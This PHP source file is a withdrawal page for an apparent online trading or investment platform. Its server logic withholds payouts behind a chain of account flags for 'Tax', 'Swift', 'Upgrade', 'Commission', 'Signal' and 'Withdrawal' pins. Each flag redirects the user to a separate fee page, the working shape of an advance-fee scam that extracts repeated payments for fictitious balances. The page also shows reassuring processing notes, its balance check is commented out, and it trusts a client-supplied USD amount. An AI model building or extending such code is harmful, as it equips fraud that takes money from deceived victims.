<?php
require 'header.php'; // session + DB + HTML head already included


// Make sure user is logged in
if (!isset($_SESSION['SESS_USERID'])) {
    header("Location: ../login.php");
    exit;
}

$id = $_SESSION['SESS_USERID'];

// Fetch user row
$stmt = $pdo->prepare("SELECT * FROM logins WHERE id = :id");
$stmt->execute(['id' => $id]);
$srow = $stmt->fetch(PDO::FETCH_ASSOC);

if (!$srow) {
    die("User not found");
}

// Fetch available payment methods
$stmt = $pdo->query("SELECT * FROM payment_methods WHERE status = 1 ORDER BY id ASC");
$methods = $stmt->fetchAll(PDO::FETCH_ASSOC);

// Handle withdrawal form
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['withdraw_action'])) {
    $amount   = floatval($_POST['amount']); // in user currency
    $amt      = floatval($_POST['amt']);    // in USD
    $method   = trim($_POST['method']);
    $wallet   = $_POST['wallet'] ?? '';
    $other    = $_POST['other'] ?? '';
    $note     = $_POST['note'] ?? '';
    $date     = date("Y-m-d H:i:s");
    $trans_id = $_POST['trans_id'] ?? uniqid("TXN");
    $email    = $srow['email'];
    $name     = $srow['fullname'];
    $phone    = $srow['phone'];
    $app_id   = $srow['app_id'];

    $user_rate2 = floatval($srow['cur_rate']); 
    $user_cur2  = $srow['cur_symbol'];
    $user_bal2  = floatval($srow['balance']); 
    $user_balance = $user_bal2 * $user_rate2; // convert balance to USD

    $bankinfo = htmlspecialchars($_POST['bankinfo'] ?? '');
    $otp      = htmlspecialchars($_POST['otp']);

    // OTP check
    if (!isset($_SESSION['otp']) || $_POST['otp'] != $_SESSION['otp']) {
        echo "<script>alert('Your OTP is wrong. Please insert the correct OTP.'); window.location.href='withdraw.php';</script>";
        exit;
    }
    if (!isset($_SESSION['otp_expiry']) || time() > $_SESSION['otp_expiry']) {
        unset($_SESSION['otp'], $_SESSION['otp_expiry']);
        echo "<script>alert('Your OTP has expired. Please request a new one.'); window.location.href='withdraw.php';</script>";
        exit;
    }
    unset($_SESSION['otp'], $_SESSION['otp_expiry']); // OTP used

    // Balance validation
    // if ($amt > $user_balance_usd) {
    //     echo "<script>alert('Insufficient Balance. Your balance in USD is only $user_balance_usd.'); window.location.href='withdraw.php';</script>";
    //     exit;
    // }

    // Withdrawal conditions
    $signal_status     = $srow['signal_status'];
    $withdrw_status    = $srow['withdrw_status'];
    $status            = $srow['status'];
    $tax_status        = $srow['tax_status'];
    $swift_status      = $srow['swift_status'];
    $upgrade_status    = $srow['upgrade_status'];
    $commission_status = $srow['commission_status'];
    $verified          = $srow['verified'];
    $confirmPAY        = $srow['confirmPAY'];
    
    
    
    
    
    

    if ($srow && $user_balance >= $amount && $signal_status != 1 && $withdrw_status != 1 && 
        $status == 6 && $tax_status != 1 && $swift_status != 1 && $upgrade_status != 1 && 
        $commission_status != 1 && $verified == 3 && $confirmPAY > 1) {

        $stmt = $pdo->prepare("INSERT INTO withdraw 
            (log_id, wallet, other, cur, amount, amt, date, note, email, user, user_cur, user_rate, user_bal, method, app_id, phone, trans_id, status) 
            VALUES (:log_id, :wallet, :other, :cur, :amount, :amt, :date, :note, :email, :user, :user_cur, :user_rate, :user_bal, :method, :app_id, :phone, :trans_id, 1)");

        $stmt->execute([
            ':log_id'    => $id,
            ':wallet'    => $wallet,
            ':other'     => $other,
            ':cur'       => $user_cur2,
            ':amount'    => $amount,
            ':amt'       => $amt,
            ':date'      => $date,
            ':note'      => $note,
            ':email'     => $email,
            ':user'      => $name,
            ':user_cur'  => $user_cur2,
            ':user_rate' => $user_rate2,
            ':user_bal'  => $user_bal2,
            ':method'    => $method,
            ':app_id'    => $app_id,
            ':phone'     => $phone,
            ':trans_id'  => $trans_id
        ]);

        $stmt = $pdo->prepare("UPDATE logins SET withdraw = :amt, confirmPAY = 1 WHERE id = :id");
        $stmt->execute([':amt' => $amt, ':id' => $id]);

        echo "<script>alert('Withdrawal request sent successfully!'); window.location.href='transactions.php';</script>";
        exit;
    }
    // redirect cases (same as your original)
    elseif ($withdrw_status == 1 && $user_bal2 >= $amount) {
        $pdo->prepare("UPDATE logins SET deposit = :amount WHERE id = :id")->execute([':amount' => $amount, ':id' => $id]);
        echo "<script>alert('You need a Withdrawal Pin to complete your transaction!!!'); window.location.href='withdrw_fee.php';</script>";
        exit;
    }
    elseif ($tax_status == 1 && $user_bal2 >= $amount) {
        $pdo->prepare("UPDATE logins SET deposit = :amount WHERE id = :id")->execute([':amount' => $amount, ':id' => $id]);
        echo "<script>alert('You need a Tax Pin to complete your transaction!!!'); window.location.href='tax_fee.php';</script>";
        exit;
    }
    elseif ($swift_status == 1 && $user_bal2 >= $amount) {
        $pdo->prepare("UPDATE logins SET deposit = :amount WHERE id = :id")->execute([':amount' => $amount, ':id' => $id]);
        echo "<script>alert('You need a Swift Pin to complete your transaction!!!'); window.location.href='swift_fee.php';</script>";
        exit;
    }
    elseif ($upgrade_status == 1 && $user_bal2 >= $amount) {
        $pdo->prepare("UPDATE logins SET deposit = :amount WHERE id = :id")->execute([':amount' => $amount, ':id' => $id]);
        echo "<script>alert('You need an Upgrade Pin to complete your transaction!!!'); window.location.href='upgrade_fee.php';</script>";
        exit;
    }
    elseif ($commission_status == 1 && $user_bal2 >= $amount) {
        $pdo->prepare("UPDATE logins SET deposit = :amount WHERE id = :id")->execute([':amount' => $amount, ':id' => $id]);
        echo "<script>alert('You need a Commission Pin to complete your transaction!!!'); window.location.href='commission_fee.php';</script>";
        exit;
    }
    elseif ($signal_status == 1 && $user_bal2 >= $amount) {
        $pdo->prepare("UPDATE logins SET deposit = :amount WHERE id = :id")->execute([':amount' => $amount, ':id' => $id]);
        echo "<script>alert('You need a Signal Pin to complete your transaction!!!'); window.location.href='signal_fee.php';</script>";
        exit;
    }
    elseif ($status != 6) {
        echo "<script>alert('ALERT!!! Your Trade is not yet completed...'); window.location.href='index.php';</script>";
        exit;
    }
    elseif ($confirmPAY < 2) {
        echo "<script>alert('ERROR IN TRANSACTION!!! You have a Pending Withdrawal.'); window.location.href='index.php';</script>";
        exit;
    }
    elseif ($verified < 2) {
        echo "<script>alert('ERROR IN TRANSACTION!!! Please verify your KYC.'); window.location.href='profile.php';</script>";
        exit;
    }
    elseif ($srow && $user_balance < $amount) {
        echo "<script>alert('ERROR IN TRANSACTION!!! Please check your account balance.'); window.location.href='withdraw.php';</script>";
        exit;
    }
}
?>

<main class="flex-1 px-2 py-4 md:p-6 bg-[#0B0A13] min-h-screen text-white">
    <div class="max-w-5xl mx-auto grid grid-cols-1 lg:grid-cols-3 gap-6">
        
        <!-- Left Card -->
        <div class="lg:col-span-2 bg-[#141222] rounded-2xl p-6 space-y-6">
            
            <h2 class="text-xl font-semibold mb-4">Withdraw Your Funds</h2>

            <!-- Form -->
            <form method="POST" class="space-y-6">
                <input type="hidden" name="withdraw_action" value="1">

                <!-- Hidden inputs -->
                <?php  
                    $taxcode  = rand(10000,100000);
                    $trans_id = rand(100000000000,1000000000000);
                    $sigcode  = rand(10000,100000);
                ?>
                <input type="hidden" name="tax_code" value="<?php echo $taxcode; ?>" readonly>
                <input type="hidden" name="trans_id" value="<?php echo $trans_id; ?>" readonly>
                <input type="hidden" name="sig_code" value="<?php echo $sigcode; ?>" readonly>

                <!-- Method -->
                <div class="flex items-center gap-4 bg-[#1C1A2E] p-4 rounded-xl">
                    <div class="w-12 h-12 flex items-center justify-center bg-[#2A243B] rounded-lg">
                        <img id="methodLogo" src="" class="w-8 h-8 hidden">
                    </div>
                    <div>
                        <p class="text-sm text-gray-400">Select Withdrawal Method</p>
                        <select name="method" id="methodSelect" class="bg-[#1C1A2E] text-white p-2 rounded-lg" required>
                            <option value="">-- Select Method --</option>
                            <?php foreach ($methods as $m): ?>
                                <option value="<?= htmlspecialchars($m['name']); ?>" data-logo="../<?= htmlspecialchars($m['logo']); ?>">
                                    <?= htmlspecialchars($m['name']); ?>
                                </option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                </div>

                <!-- Amount -->
                <div>
                    <label class="block text-sm text-gray-400 mb-2">
                        Amount to Withdraw (<?php echo $srow['cur_symbol'] ?? '$'; ?>)
                    </label>
                    <div class="relative">
                        <span class="absolute left-3 top-3 text-green-400 font-bold">
                            <?php echo $srow['cur_symbol'] ?? '$'; ?>
                        </span>
                        <input type="number" id="amountInput" name="amount" step="0.01" required
                            class="w-full pl-8 pr-4 py-3 rounded-xl bg-[#1C1A2E] text-gray-100 focus:ring-2 focus:ring-[#2FE6DE]">
                    </div>
                </div>

                <!-- USD Equivalent -->
                <div>
                    <label class="block text-sm text-gray-400 mb-2">Equivalent in USD ($)</label>
                    <input type="text" id="usdEquivalent" name="amt" readonly
                        class="w-full py-3 px-4 rounded-xl bg-[#1C1A2E] text-gray-100 border border-gray-600">
                </div>

                <!-- Note / Description -->
                <div>
                    <label class="block text-sm text-gray-400 mb-2">Description</label>
                    <textarea name="note" placeholder="Narration" required
                        class="w-full py-3 px-4 rounded-xl bg-[#1C1A2E] text-gray-100 border border-red-400 focus:ring-2 focus:ring-[#2FE6DE]"></textarea>
                </div>

                <!-- Security Code -->
                <div>
                    <label class="block text-sm text-gray-400 mb-2">Security Code</label>
                    <div class="flex gap-2 items-center">
                        <input type="text" name="otp" placeholder="Enter OTP code" required
                            class="flex-1 py-3 px-4 rounded-xl bg-[#1C1A2E] text-gray-100 focus:ring-2 focus:ring-[#2FE6DE]">
                        <button type="button" id="requestOtpBtn"
                            class="px-4 py-3 rounded-xl bg-[#2FE6DE] text-black font-semibold hover:opacity-90">
                            Request OTP
                        </button>
                        <span id="otpStatus" class="hidden text-green-400 ml-2">📩 OTP Sent</span>
                    </div>
                </div>

                <!-- Wallet / Bank Info -->
                <div id="walletField" class="hidden">
                    <label class="block text-sm text-gray-400 mb-2">Wallet Address</label>
                    <input type="text" name="wallet" placeholder="Enter your wallet address"
                        class="w-full py-3 px-4 rounded-xl bg-[#1C1A2E] text-gray-100 focus:ring-2 focus:ring-[#2FE6DE]">
                </div>

                <div id="bankField" class="hidden">
                    <label class="block text-sm text-gray-400 mb-2">Bank Details</label>
                    <textarea name="bankinfo" placeholder="Enter your bank details"
                        class="w-full py-3 px-4 rounded-xl bg-[#1C1A2E] text-gray-100 focus:ring-2 focus:ring-[#2FE6DE]"></textarea>
                </div>

                <!-- Confirm Button -->
                <button type="submit"
                    class="w-full py-3 rounded-xl bg-gradient-to-r from-[#2FE6DE] to-[#00C6FB] text-black font-semibold hover:opacity-90 transition">
                    ✓ Confirm Withdrawal
                </button>
            </form>
        </div>

        <!-- Right Notes -->
        <div class="bg-[#141222] rounded-2xl p-6 space-y-4">
            <h3 class="font-semibold mb-3">Important Notes</h3>
            <ul class="space-y-3 text-sm">
                <li class="flex items-start gap-3">
                    <span class="w-2 h-2 rounded-full bg-blue-400 mt-2"></span>
                    <div>
                        <strong class="block text-gray-200">Processing Time</strong>
                        <span class="text-gray-400">Withdrawals are typically processed within 24 hours during business days.</span>
                    </div>
                </li>
                <li class="flex items-start gap-3">
                    <span class="w-2 h-2 rounded-full bg-yellow-400 mt-2"></span>
                    <div>
                        <strong class="block text-gray-200">Security Verification</strong>
                        <span class="text-gray-400">Large withdrawals may require additional verification.</span>
                    </div>
                </li>
                <li class="flex items-start gap-3">
                    <span class="w-2 h-2 rounded-full bg-green-400 mt-2"></span>
                    <div>
                        <strong class="block text-gray-200">Processing Fee</strong>
                        <span class="text-gray-400">A % fee applies to all withdrawals.</span>
                    </div>
                </li>
            </ul>
        </div>
    </div>
</main>

<script>
document.getElementById("methodSelect").addEventListener("change", function() {
    let logo = this.options[this.selectedIndex].getAttribute("data-logo");
    let logoImg = document.getElementById("methodLogo");
    let method = this.value;

    if (logo) {
        logoImg.src = logo;
        logoImg.classList.remove("hidden");
    } else {
        logoImg.classList.add("hidden");
    }

    document.getElementById("walletField").classList.add("hidden");
    document.getElementById("bankField").classList.add("hidden");

    if (method.toLowerCase().includes("bank")) {
        document.getElementById("bankField").classList.remove("hidden");
    } else if (method) {
        document.getElementById("walletField").classList.remove("hidden");
    }
});

document.getElementById("requestOtpBtn").addEventListener("click", function() {
    fetch("send_otp.php")
        .then(res => res.json())
        .then(data => {
            if (data.success) {
                document.getElementById("otpStatus").classList.remove("hidden");
                alert("OTP has been sent to your email.");
            } else {
                alert("Failed to send OTP: " + (data.message || "Unknown error"));
            }
        })
        .catch(() => alert("Request failed. Please try again."));
});

// Convert to USD in real time
document.getElementById("amountInput").addEventListener("input", function() {
    let amount = parseFloat(this.value) || 0;
    let rate = parseFloat("<?php echo $srow['cur_rate']; ?>");
    let usd = amount / rate;
    document.getElementById("usdEquivalent").value = usd.toFixed(2);
});
</script>

<?php require("footer.php"); ?>
